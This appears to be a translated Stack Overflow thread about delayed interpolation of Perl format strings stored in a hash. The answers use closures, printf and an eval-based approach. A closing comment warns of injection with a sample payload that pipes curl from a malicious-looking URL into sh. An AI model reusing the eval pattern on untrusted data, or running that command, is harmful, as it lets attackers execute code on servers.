2016-05-06 3 views
0

Я работаю над cgi-скриптом perl. Он должен обрабатывать какую-то базу данных, где макеты печати и значения для печати сохраняются в хеше. Здесь приходит мой фрагмент кода:интерполяция строки хэшированного формата

my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 
    my %h=('format' => { 'a' => "This is the value of variable \$va: $va", 
          'b' => "This is the value of variable \$vb: $vb" 
         }, 
      'values' => { 'a' => "value A", 
          'b' => "value B" 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print "$fa<br/>\n"; 
    print "$fb<br/>\n"; 
    $va=3; 
    $vb=4; 
    print "$fa<br/>\n"; 
    print "$fb<br/>\n"; 

До сих пор я получил только это (неправильно) распечатке:

This is the value of variable $va: 1 
    This is the value of variable $vb: 2 
    This is the value of variable $va: 1 
    This is the value of variable $vb: 2 

Что я ожидаю это:

This is the value of variable $va: value A 
    This is the value of variable $vb: value B 
    This is the value of variable $va: 3 
    This is the value of variable $vb: 4 

Что может быть причиной того, что интерполяция строк формата, хранящихся в хэше, не работает?

+4

Интерполяция происходит, когда инициализируется хэш ('my% h ='), а не когда он обращается, поэтому '$ va' по-прежнему 1 и' $ vb' равно 2. Это похоже на проблему [XY] (http://meta.stackexchange.com/q/66377/234299), хотя ... не могли бы вы объяснить больше о том, что вы пытаетесь сделать? – ThisSuitIsBlackNot

+0

@ThisSuitIsBlackNot Да Вы правы. Я изменил теперь двойные квоты от ... 'a' => "..." до 'a' => '...'. Теперь хеш не интерполируется и поэтому инициализируется без интерполяции. Но распечатка дает: Это значение переменной \ $ va: $ va Это значение переменной \ $ vb: $ vb Также не интерполировано - почему? –

+0

На первый взгляд, я думаю, что 'eval' является ключевым словом здесь ... – PerlDuck

ответ

2

Чтобы задержать интерполяцию, самый простой способ заключается в использовании анонимных подлодки:

my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 
    my %h=('format' => { 'a' => sub { "This is the value of variable \$va: $va" }, 
          'b' => sub { "This is the value of variable \$vb: $vb" }, 
         }, 
      'values' => { 'a' => "value A", 
          'b' => "value B", 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print $fa->() . "<br/>\n"; 
    print $fb->() . "<br/>\n"; 
    $va=3; 
    $vb=4; 
    print $fa->() . "<br/>\n"; 
    print $fb->() . "<br/>\n"; 

Тем не менее, использовать шаблонную систему вместо этого.

+0

Я нашел решение самостоятельно, но это действительно приятно выглядит. Тестирование я получил эту ошибку: не могу использовать строку («Это значение переменной \ $» ...) в качестве подпрограммы ref при использовании «строгих ссылок» .. –

+0

, тогда вы забыли добавить 'sub { ...} 'вокруг строк – ysth

1

Как @ThisSuitIsBlackНе отмечалось, это может мне проблема XY. Возможно, [s]printf может помочь вам:

my %h=('format' => { 'a' => "This is the value of variable \$va: %s", 
         'b' => "This is the value of variable \$vb: %s" 
        }, 
     'values' => { 'a' => "value A", 
         'b' => "value B" 
        } 
    ); 

printf($h{format}{a}, $h{values}{a}); 

Это эквивалентно

printf("This is the value of variable \$va: %s", 'value A'); 

Что дает:

This is the value of variable $va: value A 
+0

' printf' - это шаблон для того, что 'vi' относится к интегрированным средам разработки! – mob

+0

@mob :-P Вы правы, это не особенно _государство [намеренно оставлено пусто] _, но это могло решить проблему OP. Однако я рад, что нашел гораздо лучшее решение. – PerlDuck

0

Я нашел решение в http://www.perlmonks.org/?node_id=408346

строки должны быть " обратный ':

sub quote { qq!"$_[0]"! } # Use something more sophisticated which escapes properly. 

    my $va=1; 
    my $vb=2; 
    my $fa=""; 
    my $fb=""; 

    my %h=('format' => { 'a' => 'This is the value of variable \$va: ${va}', 
          'b' => 'This is the value of variable \$vb: ${vb}' 
         }, 
      'values' => { 'a' => 'value A', 
          'b' => 'value B' 
         } 
     ); 
    $fa=$h{'format'}->{'a'}; 
    $fb=$h{'format'}->{'b'}; 
    $va=$h{'values'}->{'a'}; 
    $vb=$h{'values'}->{'b'}; 
    print eval(quote($fa))."<br/>\n"; 
    print eval(quote($fb))."<br/>\n"; 
    $va=3; 
    $vb=4; 
    print eval(quote($fa))."<br/>\n"; 
    print eval(quote($fb))."<br/>\n"; 

Теперь распечатке, как хотел:

This is the value of variable $va: value A 
    This is the value of variable $vb: value B 
    This is the value of variable $va: 3 
    This is the value of variable $vb: 4 

веселит.

+1

Ницца.Поэтому я не совсем ошибался в этом вопросе 'eval' ;-) Спасибо за то, что вы показали свое решение, чтобы другие люди могли извлечь выгоду. – PerlDuck

+3

Используйте настоящую систему шаблонов, прежде чем кто-то установит '$ h {" values ​​"} {" a "}' to '"; system ('curl http://maliciouscode.com/script19.php | sh'); Не волнуйся. Все в порядке' – mob